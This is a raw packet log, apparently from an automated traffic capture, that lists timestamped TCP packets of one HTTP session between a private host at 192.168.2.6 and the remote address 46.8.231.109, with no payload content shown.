Oct 7, 2024 18:00:29.336958885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336970091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336973906 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.336982012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336992025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.336992025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337007046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337008953 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337018967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337027073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337052107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337647915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337660074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337670088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337682009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337690115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337692976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337703943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337703943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337740898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337752104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337753057 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337763071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337773085 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337774038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337790966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337799072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337801933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337811947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337824106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337830067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337841034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337852955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337855101 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337863922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337874889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337886095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337888956 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337897062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337904930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337908030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337919950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337922096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337939024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337946892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337950945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337955952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337963104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337966919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337971926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337977886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337979078 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.337984085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337990046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.337991953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338000059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338021040 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338036060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338602066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338615894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338628054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338638067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338646889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338649035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338660002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338670969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338677883 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338680983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338696003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338697910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338706970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338716030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338717937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338730097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338741064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338746071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338757992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338767052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338768005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338778973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338785887 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338788986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338800907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338804007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338812113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338819981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338823080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338833094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338844061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338848114 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338855982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338865995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338874102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338891029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338892937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338902950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338917971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338924885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338928938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338939905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338951111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338953018 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338960886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338972092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.338979006 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.338995934 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339019060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339371920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339406013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339407921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339416981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339440107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339457035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339518070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339529991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339540958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339557886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339564085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339576006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339582920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339586973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339598894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339612007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339623928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339636087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339637995 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339647055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339658022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339659929 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339669943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339683056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339687109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339694023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339704990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339715004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339715958 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339725971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.339744091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339773893 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.339773893 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340029955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340039968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340050936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340070963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340081930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340097904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340101004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340101004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340110064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340116978 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340120077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340131044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340143919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340147972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340171099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340184927 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340605974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340622902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340632915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340645075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340647936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340655088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340665102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340665102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340677023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340687990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340692043 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340719938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340719938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.340725899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340730906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340735912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340740919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340749025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340754032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340759039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340764046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340769053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340774059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340779066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340883970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340888977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340894938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340899944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340905905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340910912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340923071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.340929031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341098070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341109037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341114044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341118097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341124058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341129065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341134071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341139078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341144085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341150045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341181993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341223001 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341372013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341383934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341393948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341404915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341413021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341415882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341427088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341428041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341439009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341450930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341456890 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341465950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341479063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341485023 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341489077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341500044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341532946 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341583014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341593027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341609001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341619015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341623068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341630936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341640949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341640949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341653109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341669083 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341691017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341839075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341850042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341861963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341877937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341881037 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341892958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341903925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341905117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341914892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341922998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341932058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341943026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341948986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341955900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341962099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341967106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341972113 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.341972113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341983080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.341995001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342000961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342005968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342016935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342025042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342030048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342036963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342041969 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342045069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342057943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342084885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342247963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342258930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342286110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342396021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342406988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342418909 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342428923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342430115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342439890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342451096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342454910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342461109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342470884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342479944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342482090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342493057 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342503071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342513084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342535019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342546940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342550039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342550039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342550039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342557907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342567921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342571974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342578888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342591047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342595100 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342602968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342613935 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342614889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342626095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342631102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342637062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342648983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342648983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342680931 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342700958 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342871904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342881918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342892885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342904091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.342911005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342926979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.342951059 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343013048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343024969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343035936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343046904 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343055010 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343058109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343074083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343080044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343091011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343100071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343101025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343111992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343116999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343122959 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343133926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343142986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343148947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343159914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343172073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343175888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343187094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343189955 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343197107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343208075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343211889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343219042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343230963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:29.343245029 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:29.343247890 CEST	80	49718	46.8.231.109	192.168.2.6
